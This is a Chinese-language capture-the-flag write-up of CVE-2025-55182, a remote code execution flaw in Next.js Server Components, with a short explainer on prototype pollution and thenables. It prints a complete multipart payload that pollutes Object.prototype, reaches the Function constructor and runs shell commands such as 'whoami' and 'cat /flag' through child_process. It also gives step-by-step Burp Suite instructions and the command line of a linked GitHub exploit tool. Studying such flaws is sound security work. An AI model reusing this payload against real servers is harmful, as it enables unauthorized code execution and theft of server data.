https://github.com/AsadAhmad-1337/React-2-Shell
第一次打渗透,这个CVE简单来说就是flight反序列化$0本来不是客户端提供的东西,通过构造这个0的Chunk来进行全局类的改变从而实现越权
过程
1、侦察架构
CVE-2025-55182 打的正是 Next.js 的 RSC 组件
2:理解 RSC 的 Flight 协议


页面底部有一大段 self.__next_f.push(…),这是服务器发给浏览器的 Flight 数据,比如:
1:”$Sreact.fragment” ← $S = Symbol 引用
3:I[31637,[],””] ← I = Import 引用(客户端组件)
原理
RSC 把服务端 JS 对象拆成一堆带编号的 chunk,每个用类型标记开头($S/I/$L/$Q/$F/$@…)。
ServerAction 的 POST请求体也用同一套格式。服务器收到后按引用反序列化
——漏洞就在这个反序列化器太信任输入:
你给它一个$1:proto:then,它就真去读 Object.prototype.then(原型污染);你把 _formData.get 指到$1:constructor:constructor,它就真去调 Function
构造器执行你的字符串。这就是「不可信输入进入反序列化」的教科书案例。
构造payload:
发一个 multipart POST,三个字段 0、1、2:
字段 1 和 2(简单):
name=”1″ → “$@0” ← 引用标记:动作的引用在第 0 段
name=”2″ → [] ← 参数数组(空)
字段 0(核心 payload):
{
“then”: “$1:proto:then”, // ① 原型污染 → 得到 thenable
“status”: “resolved_model”,
“reason”: -1,
“value”: “{\”then\”:\”$B1337\”}”, // ② then 的值 = 一个 thenable 块
“_response”: {
“_prefix”: “var
res=process.mainModule.require(\”child_process\”).execSync(\”whoami\”).toString();throw
Object.assign(new Error(\”NEXT_REDIRECT\”),{digest: \”NEXT_REDIRECT;push;/login?a=\” +
encodeURIComponent(res) + \”;307;\”});”,
“_chunks”: “$Q2”,
“_formData”: {“get”: “$1:constructor:constructor”} // ③ 解析成 Function
}
}
BurpSuite方法
用Burp Suite Repeater
- 浏览器走 Burp 代理,正常访问 https://…:3000/install。
- 在 HTTP history 里找到这条 GET /install → 右键 Send to Repeater。
- Repeater 里把方法改成 POST。
- Body 替换成 body.bin 的内容(注意每行结尾必须是 \r\n,Burp 里粘贴一般没问题)。
- 改请求头:
- Content-Type: multipart/form-data; boundary=
- 加一行 Next-Action: 1
- X-Nextjs-Request-Id / X-Nextjs-Html-Request-Id 设成任意值,但每次发送最好换新的(见踩坑)。
- User-Agent 保持浏览器的完整版。
- 点 Send,看响应头。
Content-Length: 725
——WebKitFormBoundaryd59669b181bb5640
Content-Disposition: form-data; name=”0″{“then”:”$1:proto:then”,”status”:”resolved_model”,”reason”:-1,”value”:”{\”then\”:\”$B1337\”}”,”_res
ponse”:{“_prefix”:”var res=process.mainModule.require(\”child_process\”).execSync(\”cat
/flag\”).toString();throw Object.assign(new Error(\”NEXT_REDIRECT\”),{digest:
\”NEXT_REDIRECT;push;/login?a=\” + encodeURIComponent(res) +
\”;307;\”});”,”_chunks”:”$Q2″,”_formData”:{“get”:”$1:constructor:constructor”}}}
——WebKitFormBoundaryd59669b181bb5640
Content-Disposition: form-data; name=”1″“$@0”
——WebKitFormBoundaryd59669b181bb5640
Content-Disposition: form-data; name=”2″[]
——WebKitFormBoundaryd59669b181bb5640–操作命令改在execSync里
Github项目方法
该GITHUB项目:python react-2-shell-ultimate.py -t <URL> -c “命令”
下面用这个项目进行操作:
whoami确定权限

ls /查看根目录

cat /flag读取flag

底层逻辑
利用链(按序):
构造 multipart POST
│
▼
Next.js 收到 Server Action 请求(Next-Action 头)
│
▼
Flight 反序列化 → 引用 “$1:proto:then” → 原型污染出 thenable
│
▼
thenable 回调 → _formData.get = Function → 执行 _prefix 代码
│
▼
代码跑 child_process.execSync(命令) 拿到输出
│
▼
故意抛错,输出塞进 error.digest(NEXT_REDIRECT 格式)
│
▼
Next.js 按重定向处理 → 303 + Location/x-action-redirect 头带回输出
简单的答疑:
- Object.prototype 是什么?
JS 里几乎所有对象都继承自一个公共祖先叫Object.prototype。
挂在这个对象上的属性,所有对象都能访问到(除非自己覆盖):
({}).toString; 存在——继承自 Object.prototype
({}).hasOwnProperty 存在——同样继承来的
({}).then undefined —— 正常情况下 Object.prototype 上根本没有 then
- then 是什么?
JS 里如果一个对象带 then 方法,它就叫 thenable,可以被当 Promise 用:
const t = { then(fn) { fn(42); } };
await t; // 会调用 t.then,把 42 作为结果
Promise.resolve(t); // 同理,检查到 .then 就调用它关键点:框架代码里到处都在隐式检查和调用.then(await、Promise.resolve、各种异步流程)。你正常写的业务代码不会主动去调 {}.then,但 JS引擎和框架的异步机制会。
原型污染 如果能改 Object.prototype 上的属性,就等于给世界上所有对象(包括以后新创建的)都加了/改了这个属性:
Object.prototype.then = function() { console.log(“hacked”); }; ({}).then; // 现在能访问到了 → 所有对象都成了 thenablePromise.resolve({}); // 引擎发现它有 .then → 自动调用 → 打印 hacked 这叫原型污染:只改一处,影响全局。

为何只有flight反序列化可越权?
Flight 数据有两条流向
React 的 Flight 协议管两种通信:
服务端 ──渲染数据──▶ 浏览器 (HTML 里嵌的 _next_f.push,只”序列化输出”)
浏览器 ──Server Action──▶ 服务端 (POST 请求体,需要”反序列化”重建参数对象)
只有第二条流向会让服务端去「反序列化」攻击者可控的 Flight 数据——它要把请求体里的引用、chunk重建回真实的 JS 对象。这个反序列化过程就是攻击入口。


